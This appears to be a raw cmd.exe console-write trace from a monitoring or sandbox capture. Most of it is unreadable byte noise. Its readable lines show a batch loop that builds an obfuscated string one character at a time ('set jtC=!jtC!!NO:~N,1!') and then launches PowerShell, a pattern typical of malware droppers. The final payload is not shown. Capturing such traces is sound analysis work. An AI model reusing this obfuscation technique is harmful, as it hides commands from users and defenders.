Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.Y-....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...e-..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...l-..........................s.k.t.o.p.>.@..JD.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J^.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...x-............................2..@..`.2...3.`...`.....*u..2.........9..9........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.2.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....-..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....-...........................-........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.2. .E.Q.U. .0. ..-..............................\....-................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..-....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....-..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....-..........................s.k.t.o.p.>.@..J^.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....-............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.1.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....-..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....-...........................-........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.1. .E.Q.U. .0. ..-..............................\....-................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..-....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....-..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....-..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....-............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.7.0.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....-..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\................................-........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.7.0. .E.Q.U. .0. .................................\.....................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.......................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...............................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...#...........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..JL.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\.../.............................2..@..`.2...3.`...`.....*u..2.........9..9........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.9.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...;...................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...A...........................;.........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.9. .E.Q.U. .0. .G...............................\...A.................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.M.....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...Y...........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...`...........................s.k.t.o.p.>.@..JL.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..Jn.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...l.............................2..@..`.2...3.`...`.....*u..2.........9..9........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.8.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...x...................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...~...........................x.........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.8. .E.Q.U. .0. .................................\...~.................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.......................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...............................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...............................s.k.t.o.p.>.@..Jn.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\.................................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.7.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\.......................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\.........................................................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.7. .E.Q.U. .0. .................................\.....................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.......................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...............................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...............................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\.................................2..@..`.2. .3.`...`.....*u..2.........}..e........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.6.,.1.!. ...............2..@..`.2. .3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\.......................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\.........................................................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.6. .E.Q.U. .0. .................................\.....................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l../....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\..../..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\..../..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..JT.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...#/............................2..@..`.2...3.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.5.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...//..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...5/..........................//........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.5. .E.Q.U. .0. .;/..............................\...5/................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.A/....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...M/..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...T/..........................s.k.t.o.p.>.@..JT.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J~.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...`/............................2..@..`.2...3.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.4.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...l/..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...r/..........................l/........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.4. .E.Q.U. .0. .x/..............................\...r/................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.~/....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\..../..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\..../..........................s.k.t.o.p.>.@..J~.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\..../............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.3.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\..../..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\..../.........................../........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.3. .E.Q.U. .0. ../..............................\..../................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l../....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\..../..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\..../..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J2.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\..../............................2..@..`.2.`.3.`...`.....*u..2.........u..m........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.2.,.1.!. ...............2..@..`.2.`.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\..../..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\..../.........................../........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.2. .E.Q.U. .0. ../..............................\..../................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l../....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....0..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....0..........................s.k.t.o.p.>.@..J2.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J\.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....0............................2..@..`.2...3.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.1.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...#0..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...)0..........................#0........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.1. .E.Q.U. .0. ./0..............................\...)0................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.50....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...A0..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...H0..........................s.k.t.o.p.>.@..J\.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...T0............................2..@..`.2...3.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.6.0.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...`0..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...f0..........................`0........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.6.0. .E.Q.U. .0. .l0..............................\...f0................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.r0....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...~0..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....0..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....0............................2..@..`.2.(.3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.9.,.1.!. ...............2..@..`.2.(.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....0..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....0...........................0........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.9. .E.Q.U. .0. ..0..............................\....0................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..0....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....0..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....0..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..Jr.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....0............................2..@..`.2...3.`...`.....*u..2.........m..y........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.8.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....0..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....0...........................0........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.8. .E.Q.U. .0. ..0..............................\....0................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..0....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....0..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....0..........................s.k.t.o.p.>.@..Jr.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..Jd.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....1............................2..@..`.2.h.3.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.7.,.1.!. ...............2..@..`.2.h.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....1..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....1...........................1........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.7. .E.Q.U. .0. .#1..............................\....1................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.)1....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...51..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...<1..........................s.k.t.o.p.>.@..Jd.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...H1............................2..@..`.2.h.3.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.6.,.1.!. ...............2..@..`.2.h.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...T1..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...Z1..........................T1........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.6. .E.Q.U. .0. .`1..............................\...Z1................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.f1....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...r1..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...y1..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..Jh.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....1............................2..@..`.2.h.3.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.5.,.1.!. ...............2..@..`.2.h.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....1..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....1...........................1........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.5. .E.Q.U. .0. ..1..............................\....1................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..1....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....1..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....1..........................s.k.t.o.p.>.@..Jh.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....1............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.4.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....1..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....1...........................1........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.4. .E.Q.U. .0. ..1..............................\....1................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..1....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....1..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....1..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..Jl.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....1............................2..@..`.2.h.3.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.3.,.1.!. ...............2..@..`.2.h.3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....2..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....2...........................2........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.3. .E.Q.U. .0. ..2..............................\....2................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..2....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...)2..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...02..........................s.k.t.o.p.>.@..Jl.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...<2............................2..@..`.2...3.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.2.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...H2..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...N2..........................H2........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.2. .E.Q.U. .0. .T2..............................\...N2................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.Z2....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...f2..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...m2..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..Jp.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...y2............................2..@..`.2...3.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.1.,.1.!. ...............2..@..`.2...3...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....2..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....2...........................2........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.1. .E.Q.U. .0. ..2..............................\....2................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..2....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....2..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....2..........................s.k.t.o.p.>.@..Jp.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J:.4.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....2............................2..@..`.2.h14.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.5.0.,.1.!. ...............2..@..`.2.h14...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....2..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....2...........................2........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.5.0. .E.Q.U. .0. ..2..............................\....2................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..2....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....2..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....2............................4...0...4......r4...0...o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..Jt.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....2............................2..@..`.2. .4.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.4.9.,.1.!. ...............2..@..`.2. .4...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\....2..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....3...........................2........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.4.9. .E.Q.U. .0. ..3..............................\....3................o.....d.......`I.J....\...
